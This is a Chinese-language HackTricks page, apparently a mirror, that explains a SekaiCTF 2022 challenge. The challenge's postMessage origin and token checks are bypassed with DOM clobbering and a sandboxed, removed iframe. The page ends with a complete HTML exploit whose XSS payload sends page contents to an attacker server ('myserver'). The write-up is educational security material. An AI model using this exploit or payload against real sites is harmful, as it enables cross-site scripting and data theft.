> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md).

# Bypassing SOP with Iframes - 2

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

* 您在 **网络安全公司** 工作吗？ 想要看到您的 **公司在 HackTricks 中被宣传** 吗？ 或者您想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗？ 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**电报群组**](https://t.me/peass) 或者 **在 Twitter 上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注\*\* 我。
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>

## SOP-2 中的 iframe

在这个 [**挑战**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) 的 [**解决方案**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)\*\* 中，[**@Strellic\_**](https://twitter.com/Strellic_) 提出了与上一节类似的方法。让我们来看看。

在这个挑战中，攻击者需要 **绕过**：

```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```

如果他这样做，他可以发送一个包含HTML内容的**postmessage**，该内容将被写入页面中的\*\*`innerHTML`\*\*，而不经过消毒（**XSS**）。

绕过**第一个检查**的方法是将\*\*`window.calc.contentWindow`**设置为**`undefined`**，将**`e.source`**设置为**`null`\*\*：

* **`window.calc.contentWindow`** 实际上是\*\*`document.getElementById("calc")`**。您可以使用**`<img name=getElementById />`**来覆盖**`document.getElementById`\*\*（请注意，消毒器API-[此处](https://wicg.github.io/sanitizer-api/#dom-clobbering)-未配置为在其默认状态下防范DOM覆盖攻击）。
* 因此，您可以使用\*\*`<img name=getElementById /><div id=calc></div>`**来覆盖**`document.getElementById("calc")`**。然后，**`window.calc`**将变为**`undefined`\*\*。
* 现在，我们需要\*\*`e.source`**为**`undefined`**或**`null`**（因为使用`==`而不是`===`，**`null == undefined`**为**`True`**）。获得这个是“容易的”。如果您创建一个**iframe**并从中**发送**一个**postMessage\*\*，然后立即**删除**该iframe，**`e.origin`将变为`null`**。请检查以下代码

```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```

为了绕过关于令牌的**第二次检查**，可以通过发送值为`null`的\*\*`token`**并使**`window.token`**的值为**`undefined`\*\*来实现：

* 在postMessage中发送值为`null`的`token`是微不足道的。
* **`window.token`** 在调用使用\*\*`document.cookie`**的函数**`getCookie`**中。请注意，在**`null`**来源页面中访问**`document.cookie`**会触发一个**错误\*\*。这将使\*\*`window.token`**的值为**`undefined`\*\*。

最终解决方案由[**@terjanq**](https://twitter.com/terjanq)提出，如下所示：[**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)。

```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
